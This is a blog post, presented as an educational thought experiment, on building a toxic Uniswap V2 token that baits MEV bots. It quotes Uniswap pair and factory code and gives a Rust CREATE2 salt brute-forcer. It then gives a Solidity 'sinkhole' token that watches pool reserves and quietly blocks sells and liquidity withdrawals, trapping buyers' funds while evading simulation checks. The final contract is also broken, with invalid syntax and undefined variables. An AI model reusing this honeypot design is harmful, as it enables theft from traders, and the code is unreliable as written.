skip to content
← Go back

Baiting MEV Bots: UniV2 Token Trapper

14 min read

Baiting MEV Bots: UniV2 Token Trapper

So many MEV bots take money from people but why don't people take money from them? I always thought about this when I was in my web3 cybersec assembly arc. I got quite fascinated with reverse engineering them and the contracts they interected with and realised there are some interesting things you can do with the uniswap code, since it has a few assumptions with the tokens you provide to create the pairs. Although not very practical it's definitely an intereting thought experiment that can provoke some further creativity!

Disclaimer

The content and code presented in this article is theoretical and intended solely for educational purposes. The information provided aims to enhance your understanding of blockchain technology and its potential applications and . However, the use of this information, including any associated code, is entirely at your own risk. DeGatchi does not endorse, encourage, or promote any illegal, unethical, or malicious activities. The responsibility for any actions taken based on this material lies solely with the user. DeGatchi shall not be held liable for any damages, losses, or consequences arising from the use or misuse of the information provided herein. Always exercise caution, conduct thorough research, and adhere to legal and ethical standards when engaging with blockchain technologies.

Background

Around a year ago I was developing an exploit generation tool to generate custom obfuscated bytecode when chaining functions together to create an exploit. During this time I thought “Wait, what if I iteratively experiment with contracts and tx contexts to reverse engineer the algorithms of MEV bots”. This was quite an interesting idea, but I don’t think it has happened yet. The idea was simple: look at the most active bots online, see what their scope was for executing a tx, make slightly altered contexts of the ones they were executing in to see the bounds of their algorithms. I did some experiments with [redacted] where we made a contract that forced 3 generalised frontrunners to continuously frontrun each other for 10 iterations.

I thought “Basically everyone is targeting uni pools and the only baiting game is toxic tokens in uni tide pools. The only problem they have is obfuscating their tactics and making it believable”

The Problem

The problem with any bait is that MEV bots run a transaction simulation to see whether they lost money or not using the API call debug_traceCall which spits out the logs of any events from the simulated transaction. This is a big problem because the operator will be able to decide what action to take based on, the majority of the time, whether they received the correct tokens in the logs relative to their math calculations. And so, the main objective would be to say “Yes squire, you have received your tokens”. But theres a caveat! They’ll check their balances too at the end of the transaction as a safeguard!

Wat do now?!”

The majority of people tend to build a bot to rug using an automated system to backrun the final buyer after x threshold of supply has been bought or once t time has passed. But we don’t want to rely on backrunning and monitoring infrastructure because ya Boi has no monies for AWS. So we need some automatic state transition to wreck the operators. Now there’s an easy assumption to be made: not many people can reverse engineer contracts automatically, let alone custom bytecode. This is perfect for us because we can write a custom contract that has components that aren’t necessarily easy to detect when using something like the debug_traceCall but would instead need a custom decoder ;)

Laughs in evil

Conditional ERC20 Transfer

Since uniswap pools are nothing but references to 2 underlying tokens we have complete autonomy of our custom ERC20. So let’s look at the uniswap pool contract that the factory contract generates each time a pair is created to find the swap function that everyone uses blindly to buy tokens.

// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// !!! heres what we want !!!
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(
msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(
_reserve0).mul(_reserve1).mul(1000**2
), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}

So knowing that the contract prays to have our token sent to the user when swapping using _safeTransfer our toxic token with

if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out);
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out);

Then this is where we should customise our functionality to do some memeing.

There is one problem with their implementation of that with either burn, mint or swap the _safeTransfer action comes either first with swap or last with burn . So there isn’t a simple standard to implement to check in a conditional. However, there is a solution: record the reserves in our internal state after every swap action. This allows us to always know the reserves beforehand to actually be able to make calculated execution

contract Contract is ERC20("OOPS", "DeGotcha") {
address constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// Our internal tracker of reserves
uint256 reserves0;
uint256 reserves1;
function transfer(address to, uint256 amount) public virtual override returns (bool) {
// automatically get the pair contract using our token
// since only 1 pair per token can exist
address pair = UniV2Factory(_FACTORY).getPair(address(this), _WETH);
// sanity check to make sure the pool exists
if (pair != address(0)) {
// Update reserves after action
reserves0 = IERC20(_WETH).balanceOf(pair);
reserves1 = balanceOf(pair);
// rest of logic ...
}
}

But again, theres a caveat!

Enjoying the article? Stay updated!

Token1 Requirement

In the swap function it always transfers token1 last. Interesting, keep this in mind…

{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}

And in burn the same thing…

_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));

The mint function however assumes there is another abstraction contract that transfer the tokens beforehand to mint instead of using transferFrom

// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// !!! the assumooooor !!!
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}

This may be problematic but it’s fine for now. This is a thought experiment after all (cop out, ik don’t worry lol).

So lets work with what we got so far. We know that token1 transfer is the final step before they reference the balances of both tokens to then do their calculations and updates. This is important because the WETH will be transferred to the contract or taken our before it reaches our token transfer so we can call the balances of the pair to see the correct token states to dictate our conditional execution. So its clear that we need to make our token contract address be token1 !

How do we do this? First we need to look at the factory contract to understand how they assign the position. So lets look at createPair from the factory contract (that creates all the uniswap pools/pairs).

function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
// !!! here it is !!!
(address token0, address token1) =
tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(UniswapV2Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IUniswapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}

Perfect, we found the logic that determines it

function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
// !!! here it is !!!
(address token0, address token1) =
tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
// ...
}

Lets plug in the known tokenA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 and say

(address token0, address token1) =
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 < tokenB ?
(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, tokenB) :
(tokenB, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

This is essentially saying if our input token is larger than the hexadecimal of the WETH address then our token will be assigned token1 in that pool.

“But how can we do this?”

Deterministic Token Address

Using the magic of create2 , woah so spooky!

bytes32 salt = 0xa677a009b5087f48c27a3d11c995836f65db2638b93b598f71ff312c8aa2f65f;
bytes memory bytecode = type(<your_hex_bytecode_goes_here>).creationCode;
address deployedAddress;
assembly {
deployedAddress := create2(0, add(bytecode, 32), mload(bytecode), salt)
}

This allows us to create deterministic addresses, although you may have to brute force a few times to find it.

You can use a Rust implementation of this so you don’t have to brute force onchain

use sha3::{Digest, Keccak256};
use hex;
const WETH_ADDRESS: [u8; 20] = [
0xC0, 0x2a, 0xaA, 0x39, 0xb2, 0x23, 0xFE, 0x8D,
0x0A, 0x0e, 0x5C, 0x4F, 0x27, 0xeA, 0xD9, 0x08,
0x3C, 0x75, 0x6C, 0xc2
];
fn calculate_create2_address(factory: &[u8], salt: &[u8], init_code: &[u8]) -> [u8; 20] {
let mut hasher = Keccak256::new();
hasher.update(&[0xff]);
hasher.update(factory);
hasher.update(salt);
hasher.update(Keccak256::digest(init_code));
let result = hasher.finalize();
let mut address = [0u8; 20];
address.copy_from_slice(&result[12..]);
address
}
fn find_suitable_salt(factory: &[u8], init_code: &[u8]) -> ([u8; 32], [u8; 20]) {
let mut salt = [0u8; 32];
loop {
let address = calculate_create2_address(factory, &salt, init_code);
if address > WETH_ADDRESS {
return (salt, address);
}
for i in (0..32).rev() {
if salt[i] == 255 {
salt[i] = 0;
} else {
salt[i] += 1;
break;
}
}
}
}
// make sure to `cargo add sha3` and `cargo add hex` for this to work
fn main() {
let factory = [0u8; 20];
let init_code = hex::decode("6080604052348015600f57600080fd5b50600080fd5b5060").unwrap();
let (salt, address) = find_suitable_salt(&factory, &init_code);
println!("Suitable salt: 0x{}", hex::encode(salt));
println!("Resulting address: 0x{}", hex::encode(address));
}

Perfect, now we have an address that’ll always be token1 and we can continue with out memeing.

Implementation

So whenever someone executes a burn or swap tx we will always be up to date knowing the reserves after the first tx (which we would probably execute with a mini swap tx). The only caveat now (ffs so many) is that if someone just sends dust it would fuck up our reserve tracking and we would need another swap or burn to happen to readjust.

Anyway, all we have to do now is make 2 conditions to determine what to do with the reserves information. If both reserves decrease then they are clearly burning liquidity so we can add a restriction to see if the reserves decrease after relative to before we can throw an error based on whether we’ve hit our threshold liquidity. If both reserves increase it’s clearly adding liquidity. And if one adjusts up and the other down it’s a swapidy swap swap.

So, we can implement monitoring and the corresponding reaction to seeing each condition. I’ll add a tx counter and a time restriction condition too to display the common gimmicks normie uniswap pair creators do to meme on bots. Sometimes they don’t even have any of this and just use private txs to meme and at that point you’re pretty much rekt but this is a cool display of what can be done without bullshit privatised transactions.

contract Contract is ERC20("OOPS", "DeGotcha") {
address constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// our internal tracker of reserves
uint256 weth_before; // weth
uint256 token_before; // our token
uint256 end = block.timestamp + 1 days;
mapping(address => uint) tx_count;
// uint256 amount is what is being asked to be transferrd so can "simulate"
function transfer(address to, uint256 amountOut)
public virtual override returns (bool)
{
// automatically get the pair contract using our token
// since only 1 pair per token can exist
address pair = UniV2Factory(_FACTORY).getPair(address(this), _WETH);
// time restriction for demonstration purposes
if (msg.sender != owner && block.timestamp > end) {
return false;
}
// sanity check to make sure it exists
// AND the caller is the pair address, using the low level functions
if (pair != address(0) && msg.sender == pair) {
// get current reserves so we can see the difference
// before the last pair action to montior if an LP event or swap
uint weth_after = IERC20(_WETH).balanceOf(pair);
uint token_after = balanceOf(pair);
// WETH reserves increased
if weth_after > weth_before {
// either:
// 1. swap: if amount != 0
// (bc they transfer weth first to do swap and this transfer
// is a claim transfer, cashing in the receipt)
// 2. LP add: if token_after > token_before
// bc they transfer
// 1. gave WETH, expecting TOKEN
if amount > 0 {
// yay, they get to give us monies!
// let them pass...
}
// 2. LP add
else if token_after > token_before {
// yay, they reducing the slippage to give us monies!
// let them pass...
}
}
// WETH reserves decreased
else if weth_after < weth_before {
// 1. gave TOKEN expecting WETH, therefore no token input
if amountOut == 0 {
if tx_count[msg.sender] == 1{
// say "shew, my WETH go away!" and reject their tx, lol
//
// you could also just not have this if you really hated
// soyboy cryptobros
return false; // NO MORE WENCH
} else {
tx_count[msg.sender] += 1;
}
}
// 2. tokenOut > 0 therefore BURNING MAN, AHHH!
else if token_after < token_before {
// say "no, fuck you" if beyond certain liquidty threshold
// "my liquidity to slurp on". then do as you please...
if weth_after > 10e18 {
return false;
}
}
}
// No dif: weth_after == weth_before
// tbf, don't really need this but ill explicitly say what'll happen
else {
// todo:
// account for dust by calculating: if past a v tiny change threhold
// for example 0.001% change
// if after > before, apply 0.001% change threshold and retry
// if fail -- wtf? who fat-fingered 1eth?
if weth_after == weth_before && token_after == token_before {
// a normal tx -- don't raise any suspicion, anon-kun!
}
}
// do transfer
_transfer(owner, to, value);
// update reserves after action
weth_before = weth_after;
token_before = token_after;
}
return true;
}
}

Ta’da! Now we’ve theoretically created a sinkhole :) How wonderful. So that was one of my thought experiments back in the day. I cbf taking it out for a joyride because I’m not too interested in fucking around and finding out in cryptoland anymore, im getting old. But I wanted to showcase my thought process at the time and maybe inspire others to do experiment with cool logic stuff similar to this.

There are some other interesting things to mess around with like baiting generalised frontrunners to one-up each other for iterations to drain their ETH or try and get them to auto approve a token to gain some monies — idk how specifically you’d do it but I think transaction baiting is definitely the best way to meme with them. Contract stuff requires a bit too much dependence of making the tx.origin initiate but they’re always going through their own contracts soooo, rekt.

Final

Well, I hoped you like this little thought experiment. I haven’t read anything remotely similar to this apart from the very simple Salmonella contract that takes a quick fee from sandwichers https://github.com/Defi-Cartel/salmonella. But if the sandwichers were checking their balances in their contracts and even with a trace it wouldn’t work. This contract doesn’t work with sandwichers because you trap their swaps and LP tokens conditionally so their backrun tx from the sandwich would fail since the frontrun buy gets trapped. But, im sure some smarty pants could figure something out to make it work. Im simply an old man now and just write articles of my ideas because im too lazy to experiment myself. All-in-all the examples I show should help you understand flaws in systems and help you look out for any malicious intent out there :)

Having said that glhf, anon-kun!

Share this Article

Recent Articles